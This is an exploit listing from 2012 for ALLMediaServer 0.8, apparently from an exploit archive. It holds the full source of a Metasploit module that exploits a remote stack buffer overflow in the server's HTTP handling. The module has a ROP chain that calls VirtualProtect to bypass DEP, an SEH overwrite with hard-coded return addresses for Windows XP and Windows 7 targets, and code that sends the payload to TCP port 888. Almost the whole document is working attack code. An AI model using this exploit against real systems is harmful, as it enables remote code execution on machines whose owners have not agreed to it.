ALLMediaServer 0.8 Buffer Overflow Vuln

2012.07.16
Credit: modpr0be
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'ALLMediaServer 0.8 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability is caused due to a boundary error within the handling of HTTP request. While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't reliable across virtual (VMWare, VirtualBox) and physical environments. Because of this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default DEP is OptIn and AllMediaServer won't run with DEP. }, 'License' => MSF_LICENSE, 'Author' => [ 'motaz reda <motazkhodair[at]gmail.com>', # Original discovery 'modpr0be <tom[at]spentera.com>', # Metasploit module 'juan vazquez' # More improvement ], 'References' => [ [ 'EDB', '19625' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', #none/process/thread/seh }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "", 'Space' => 660, 'DisableNops' => true }, 'Targets' => [ [ 'ALLMediaServer 0.8 / Windows XP SP3 - English', { 'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll 'OffsetRop' => 696, 'jmp' => 264, 'Offset' => 1072 } ], [ 'ALLMediaServer 0.8 / Windows 7 SP1 - English', { 'Ret' => 0x6ac5cc92, # ppr from avformat-53.dll 'Offset' => 1072 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jul 04 2012', 'DefaultTarget' => 1)) register_options([Opt::RPORT(888)], self.class) end def junk(n=1) return [rand_text_alpha(4).unpack("L")[0]] * n end def nops(rop=false, n=1) return rop ? [0x665a0aa1] * n : [0x90909090] * n end def asm(code) Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string end def exploit #with help from mona :) rop = [ nops(true, 12), #ROP NOP 0x65f6faa7, # POP EAX # RETN 0x671ee4e0, # ptr to &VirtualProtect() 0x6ac1ccb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x667ceedf, # PUSH EAX # POP ESI # POP EDI # RETN junk, 0x65f5f09d, # POP EBP # RETN 0x65f9830d, # & call esp 0x6ac1c1d5, # POP EBX # RETN 0x00000600, # 0x00000320-> ebx 0x6672a1e2, # POP EDX # RETN 0x00000040, # 0x00000040-> edx 0x665a09df, # POP ECX # RETN 0x6ad58a3d, # &Writable location 0x6ac7a771, # POP EDI # RETN nops(true), # RETN (ROP NOP) 0x6682f9f4, # POP EAX # RETN nops, # nop 0x663dcbd2 # PUSHAD # RETN ].flatten.pack("V*") connect if target.name =~ /Windows 7/ buffer = rand_text(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded else buffer = rand_text(target['OffsetRop']) #junk buffer << rop buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload buffer << rand_text(target['Offset'] - buffer.length) buffer << generate_seh_record(target.ret) buffer << payload.encoded end print_status("Sending payload to ALLMediaServer on #{target.name}...") sock.put(buffer) disconnect end end


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